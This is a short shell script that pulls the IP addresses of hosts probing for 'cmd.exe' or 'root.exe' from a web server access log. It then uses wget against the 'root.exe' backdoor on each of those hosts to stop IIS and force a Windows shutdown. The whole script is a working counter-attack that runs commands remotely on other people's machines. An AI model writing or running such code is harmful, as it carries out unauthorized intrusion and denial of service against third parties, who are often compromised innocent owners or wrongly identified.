#!/bin/sh

LOG=/var/log/httpd/access_log

URL_1="/scripts/root.exe?/c+iisreset+/stop"
URL_2="/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5"

egrep 'cmd.exe|root.exe' $LOG | cut -d\  -f1 | sort | uniq | while read line
do
	wget http://${line}${URL_1}
	wget http://${line}${URL_2}
done
